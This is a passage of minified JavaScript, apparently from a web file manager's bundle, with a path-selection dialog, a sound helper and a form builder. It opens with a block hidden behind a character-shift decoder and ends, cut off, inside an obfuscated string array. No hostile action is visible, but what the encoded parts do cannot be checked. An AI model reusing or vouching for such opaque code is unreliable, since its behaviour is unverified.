$[A](en+r[Or])[b](Vr)[oo](o)[ni](ii,o)}var c=$[gn](n[$o][Qr]);(void p==c||St==c)&&(c=m),i[Qr]=c,i[Sr]=n[$o][Sr],t[co]=$[eo][In](co)})[Nr](ao,function(n,i){var t=E(n,i),o=(Oi*i)[Ai](k)+Gi,e=uo==o?$[N][fo]:o+Eo+t+Pi;$[A](vo)[un]($[N][K]+so+c+Co+r+Oo+a+Pi),$[Ao][Go](c+Co+r+Eo+e+ho+a+Pi);var u=$[A](en+n[Or]),f=u[b](Po);f[l]||(f=$[A](Io)[sn](u)[b](Cn)),u[b](Vr)[un](e),f[vi](si,o)})[Nr](lo,function($,n){if($[$o][Lo]=n,!n[Yn])return $[po]=!p,!k;try{$[$o][Qr]||v[Ir](n[zn])}catch(i){}})[Nr](Ko,function(n){var i=$[A](en+n[Or]);if(!i[No]()){var t=xo*i[Qo](tn);$[A](Bo)[Jo](t)}c++;var r=n[Lo];if(r&&r[Mn]){var o=$[N][r[Mn]];if(r[Yn]){if(i[an](ti),i[b](Vr)[wn](wr)[un](o),i[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn),r[zn]){var e=Co+$[ko]($[Hr](r[zn]),Co);i[b](_o)[oo]($[J][z](e))[ni](ii,e)[ni](nr,e)}}else o=$[N][bo]+yo+r[Mn],i[an](qn)[b](Vr)[wn](wr)[an](qn),i[b](Vr)[un](o)[ni](ii,o)}$[xi][sr](n),i[b](ro)[to](),n[Qr]||s(!k)})[Nr](So,function(n,i){var t=$[N][bo]+Eo+i+Pi;if(n[Lo]){var r=Xi;if((-k!==n[Lo][mo][go](Ho)||-k!==n[Lo][mo][go](Xo)||-k!==n[Lo][mo][go](To))&&(n[Mo]||(n[Mo]=p),n[Mo]++,n[Mo]<=r))return void $[xi][Ro](n);if(-k!==n[Lo][mo][go](Do))return $[A][fr]($[xi][Er](),function(n,i){$[xi][vr](i),$[xi][sr](i)}),void $[X][H](Uo,!k);if(n[Lo][Mn]){var o=n[Lo][Mn];t=$[N][o]?$[N][o]:o}else n[Lo][mo]&&(t=n[Lo][mo])}F==i&&(t=$[N][Fo]),Vo==i&&void p==n[Lo],c++,$[A](en+n[Or])[b](ro)[to](),$[A](en+n[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),$[A](en+n[Or])[b](Vr)[oo](t)[ni](ii,t)})[Nr](wo,function(){$[A](vo)[un]($[N][qr]+so+c+Co+r),$[Ao][qo](),r=p,c=p,$[xi][qo](),s(!p),p==$[A](Wo)[l]&&$[A][yi][bi][Si][_i](!k)})[Nr](qn,function(n){$[X][H](n,!k)});var d;$[Yo]=!k,$[Zo]=function(){if(p==$[Yo]){if($[Yo]=!p,!$[J][Q](void p,!k))return;var n=zo+$[N][jo]+$c;$[nc][H](n),$[A](ic)[vi]({background:tc,opacity:rc})}d&&$[I][Pn](d)},$[oc]=function(n){$[qi](n),d&&$[I][Pn](d),d=$[I][Qn](function(){$[Yo]=!k,$[nc][cc]()},Oi)},$[ec]=function(n){try{if(n=n[ac]||n,$[J][Q]())if(n[fc][uc][l]>p&&n[fc][uc][p][li])$[J][Di](),$[J][Ec](vc);else{var i=n[fc][sc](dc);i&&F==i[Cc](p,V)&&$[xn][kn][br][Oc](i)}$[qi](n)}catch(n){}$[Yo]&&($[Yo]=!k,$[nc][cc]())}}}})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0)1,(#"),$("())2,34"),$("5"),$("$6)1,.$.*%&1$7)1,(#"),$("38(.$"),$("38(.$9(:$"),$(";"),$("+('7)1,(#"),$("38(.$<'%,"),$("38(.$*%&1$7)1,(#=03$.>"),$("03$."),$("=3&#>"),$("3&#"),$(".$(#?"),$("@"),$("#,+0-$'4"),$(",'A$%,.$0'1,(#"),$("B&'#,B"),$("1$':48"),$("/0)1,(#C1,(#&':D/#,B'1,(#C1,(#&':"),0,$("0)1,(#&':"),$("EF5"),$("///"),$("0)1,(#G8$+H"),$("+,.$"),$("$6)1,.$./3$.I$.J,B'1,(#"),1,$("/#,B'1,(#CA,6"),$("%&'#"),$("/#,B'1,(#C1&34"),$("I(1"),$("&')04"),"",$("4&)3"),$("K&)3"),$("38(.$L$..,.L)(.(-"),$("',L)$.-&33&,'L(+4&,'"),$("%4)"),$("30A34."),3,$("844)"),4,$("844)M**"),$("77P"),$("PO+1(33>P&4$-PQN#&IO+1(33>P&'%,PQN3)('O+1(33>P4&41$PO4?41$>P"),$("PQ"),$(")(48K8&3"),$("N*3)('QN3)('O+1(33>P3&R$PQSAN*3)('QN3)('O+1(33>P34(4$PQ"),$("0)1,(#L.$(#?"),$("N*3)('QN(O+1(33>P.$-,I$O%,'4C&+,'O&+,'C.$-,I$PO8.$%>PT(I(3+.&)4MI,&#USVPQN*(QN#&IO34?1$>P+1$(.MA,48PQN*#&IQN*#&IQN*#&IQ"),$("/&4$-"),$("&'3$.4W$%,.$"),$("/&4$-M$XUSV"),$("())$'#"),$("Y"),$("(##G1(33"),$("4$64"),$("O/34(4$"),$("#,B'1,(#L.$(#?"),$("#,B'1,(#C1,(#&':"),$("())$'#K,"),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZ[4$64C(1&:'M.&:84[PQN*#&IQN*#&IQ"),$("/).,:.$33CA(."),$("A&'#"),$("O/.$-,I$"),$("+1&+H"),$("+1$(.<'4$.I(1"),$("+1$(.K&-$,04"),$(":$4"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>.$-,I$=00&#>"),$("31&#$7)"),$(")(.$'4"),$(".$-,I$"),$("%\\"),$("0&"),$("3$4K&-$,04"),$("%\\G(11A(+H"),$("3$4]$1$+4W?^&1$'(-$"),$(")(48"),200,$("(T(6"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>#,B'1,(#=3(I$9(48>"),$("=0.1>"),$("0.1_'+,#$"),$("=00&#>"),$("=4&-$>"),$("4&-$"),$("T3,'"),$("#(4("),$(").,:+$33"),$("34(403"),$("30)),.4`(':$"),1e3,$("(T(6_..,."),$(".$-,I$G1(33"),$("$..,."),$("#,B'1,(#L$..,."),$("+,#$"),$("#,B'1,(#&':"),$("&'%,"),$("#,B'1,(#L30++$33"),$("O/&'%,O/4&41$"),$("(44."),$("4&41$"),$("30++$33"),$("$6)1,.$.*3$.I$.J,B'1,(#=4?)$>)$.+$'4=00&#>"),$("1,(#&':"),$("3&R$"),$(")(.3$^1,(4"),.2,$("%&1$]&R$"),$(")(48K,,13"),$("*3"),$("+33"),$("B0"),$(";SSZ"),$("/3&R$"),100,$("Z"),$("4,^&6$#"),$("ZU"),$("V"),$("/4&41$"),$("'(-$"),$("3$4<'4$.I(1"),$("38,B"),$("/#&(1,:C%&1$C0)1,(#"),$(",)4&,'"),$("0)1,(#$."),$("3$.I$."),$("-$48,#"),$("9a]K"),$("/0)1,(#CA,6C+1$(."),$("#&3)1(?"),$("1&34"),$("#&(1,:"),$("#&(1,:C%&1$C0)1,(#"),$("+,-)&1$"),$("4$-)1(4$"),$("4)17)1,(#"),5,430,450,$("&+,'"),$("0)1,(#"),$("0)1,(#L-04&"),$("8&#$"),$("/(0&C-(6D/(0&C-&'"),$("/#&(1,:C%&1$C0)1,(#O/(0&C+1,3$"),$("34,)99"),$("0'A&'#"),$("/%&1$C0)1,(#CA,6O/4,)A(.C'(IO(/-$'0"),$("8(3G1(33"),$("4(AC0)1,(#"),$("/%&1$C0)1,(#CA,6O/4(AC0)1,(#"),$("48&3"),$("/%&1$C0)1,(#CA,6O/4(AC#,B'1,(#"),$("/%&1$C0)1,(#CA,6O/0)1,(#CA,6"),$("8&##$'"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6"),$("H$?_'4$."),$("/#,B'1,(#CA,6Ob'(-$>0.1c"),$("3$.I$.JB,'1,(#"),$("/#,B'1,(#CA,6O&')04"),$("48&39(48"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6O/#,B'1,(#C34(.4"),$("/%&1$C0)1,(#CA,6O/#,B'1,(#CA,6O/#,B'1,(#C34(.4C(11"),$("3$.I$.C#B,'1,(#C4$64(.$("),$("deS)6"),$("efS)6"),10,$("#,B'1,(#"),$("N4$64(.$(O34?1$>gB0Md;S)6[8$&:84MehS)6[gQN*4$64(.$(Q"),$("3)1&4"),$("/3$.I$.C#B,'1,(#C4$64(.$(O4$64(.$("),$("i"),$("(##W044,'"),$("Y)&+H$."),$("Y)&+H$.C%,1#$."),$("30)),.47)1,(#^,1#$."),$("/0)1,(#C+$.4CA,6"),$("/%&1$C0)1,(#CA,6O/#.(:C0)1,(#C%,1#$."),$("Y)&+H$.C%,1#$.O&')04"),$("B$AH&4#&.$+4,.?"),$("#&.$+4,.?"),$("Y)&+H$.C%,1#$.O1(A$1"),$("+,.$L0)1,(#$.L+.$(4"),$("+.$(4$"),$("j$A7)1,(#$."),$("(\\#dkl+flSkd%#m;hAlAh"),$("0'#$%&'$#"),$("4)1J&(1,:24-1"),$("**34(4&+/H,#+1,0#/+,-*0)#(4$*-(&'d/T3nI>"),$("4&-$^1,(4"),$("(3?'+"),$("4,#,"),$(";Ce"),$(".,0'#^.,-K,"),30,$("34(4&+9(48"),$("T3*1&A*B$A0)1,(#$.*7)1,(#$./3B%"),$("A,#?"),$("0)#1,(#K8.$(#3"),$("3$44&':3"),$("0)#1,(#W&'#(.?"),$("0)#1,(#G80'H]&R$"),$("1&I$"),$("#&$"),$("/0)1,(#$.C+,'4$'4O/30++$33"),$("3)('/4&41$"),$("#(4(C'(-$"),$("&3o))"),$("$6)1,.$."),$(")(48^(48$."),$("/0)1,(#$.C+,'4$'4O/,)$'"),$(",)$'"),$("H,#o))"),$("/0)1,(#$.C1&34O/&4$-/30++$33D/0)1,(#$.C1&34O/&4$-/$..,."),$("/0)1,(#CA,6C+1$(.C(11"),$("$(+8"),$(":$4^&1$3"),$("3H&)^&1$"),$(".$-,I$^&1$"),$("/0)1,(#$.C1&34O/&4$-"),$("/0)1,(#$.C+,'4$'4O/.$-,I$"),$("&#"),$("SW*3"),.3,$("3)$$#"),.5,$(")038"),$("31&+$"),$("+8$+H<%G8(':$"),$("4.$$"),600,$(",'"),$("%&1$p0$0$#"),$("%0119(48"),$("3,0.+$"),$("B$AH&4`$1(4&I$9(48"),$("&3J&.$+4,.?"),$("'$B^,1#$."),$(")(48a)$.(4$"),$("%&'&38$#"),$("0)1,(#L4,"),$("/0)1,(#$.C1&34"),$("PO+1(33>P&4$-PQN#&IO+1(33>P&'%,PQN3)('O+1(33>P4&41$PO4&41$>P"),$("84-1_'+,#$"),$("PO#(4(C'(-$>P"),$("N*3)('QN3)('O+1(33>P3&R$PQ"),$("N*3)('QN3)('O+1(33>P34(4$O0)1,(#C1,(#&':PQ"),2e3,$("0)1,(#L4&)3L-,.$"),$("B(.'&':"),$("'$B^&1$"),$("/34(4$"),$("0)1,(#C1,(#&':"),$("0)1,(#L30++$33"),$("/.$-,I$"),$("&+,'C,H"),$("&+,'C.$-,I$"),$(").$)$'#"),$("0)1,(#W$%,.$]$'#"),$("%&1$"),$("0)1,(#G8$+H]&R$"),$("3)(+$L&3L%011"),$("%(#$a04"),$("/).,:.$33"),$("84-1"),$("qCG]`^CKar_F"),$("G,,H&$"),$("0)1,(#9.,:.$33"),$(";SS/SZ"),$("0)1,(#&':L-,I$"),$("U"),$("/#&(1,:C%&1$C0)1,(#O/(0&C4&41$"),$("MO"),$("*"),$("OU"),$("3$4"),$("K&41$"),$("D"),$("/).,:.$33O/).,:.$33CA(."),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZPQN*#&IQN*#&IQ"),$("0)1,(#o++$)4"),$("3$.I$.J(4("),$("3$.I$.F$$#`$4.?"),$("0)1,(#]0++$33"),$("&']+.$$'"),36,$("&'#$6"),$("3+.,11K,)"),$("/0)1,(#$.C+,'4$'4"),$("14.&-"),$("/&'%,O/4&41$"),$("0)1,(#L$..,."),$("UstuvV"),$("0)1,(#_..,."),$("&'#$6a%"),$("L.(B"),$("b_..,.OG,#$M;SS;c"),$("b_..,.OG,#$M;SSec"),$("b_..,.OG,#$M;S;Sc"),$("$..,.F0-"),$(".$4.?"),$("NwCC03$.O1,:&'CCQ"),$("1,:&'O$..,.w"),$("0)1,(#L$..,.L844)"),$("(A,.4"),$("0)1,(#^&'&38$#"),$(".$3$4"),$("/%&1$C0)1,(#CA,6O/&4$-/$..,."),$("&']4(4$"),$("#.(:aI$."),$("N#&IO+1(33>P0)1,(#C4&)3PQxxxxxxN#&IQxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#;O-,I$E$%4E,,)PQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#ePQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#lO-,I$E$%4E,,)PQN*&QxxxxxxN*#&IQxxxxxxN#&IO+1(33>P+1,0#C-,I$0)PQN&O+1(33>P-,I$K,)E,,)O&+,'C+&.+1$C(..,BC0)PQN*&QN*#&IQxxxxxxN#&IO+1(33>P-3:PQ"),$("0)1,(#L#.(:L4&)3"),$("N*#&IQxxxxxN*#&IQ"),$("y(3Hz&$B"),$("YB&'#,By(3Hz&$B"),$("Ydek\\%d"),$("S/k"),$("#.(:E$(I$"),$("+1,3$"),$("#.(:J.,)"),$(",.&:&'(1_I$'4"),$("%&1$3"),$("#(4(K.('3%$."),$(")1(?],0'#"),$("#.(:L0)1,(#"),$(":$4J(4("),$("4$64*)1(&'"),$("30A34.&':"),$("())o##7`E"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var i=arguments,t="",r=0,o=i.length;o>r;r++)if("number"==typeof i[r])t+=n($[0].charAt(i[r]));else for(var c=0,e=i[r].length;e>c;c++)t+=n($[0].charAt(i[r][c].charCodeAt()-35));return t}}(["ghilqds2frpu1xoKvwJ{XkSj4L)@|'ez0/OQFnyGWb=?#%A}3m+,Et&(>8VIHUR^`75:*9\rZ;61?void(e=e.add(a)):void(h?("all"==b?l?c.file.push(i):c.folder.push(i):c.push(i),f=f.add(a)):e=e.add(a))}),e.length>=1&&e.removeClass("select"),l(c)},l=function(a){0==a.length||"all"==b&&0==a.file.length&&0==a.folder.length?f("selectChange",0):f("selectChange",a)}}};return d(),{pathSelect:function(a,b){var d={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500,callback:function(){}},e={id:"pathSelectApi",ok:function(){if("function"==typeof a.callback){var b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
        ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group [data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA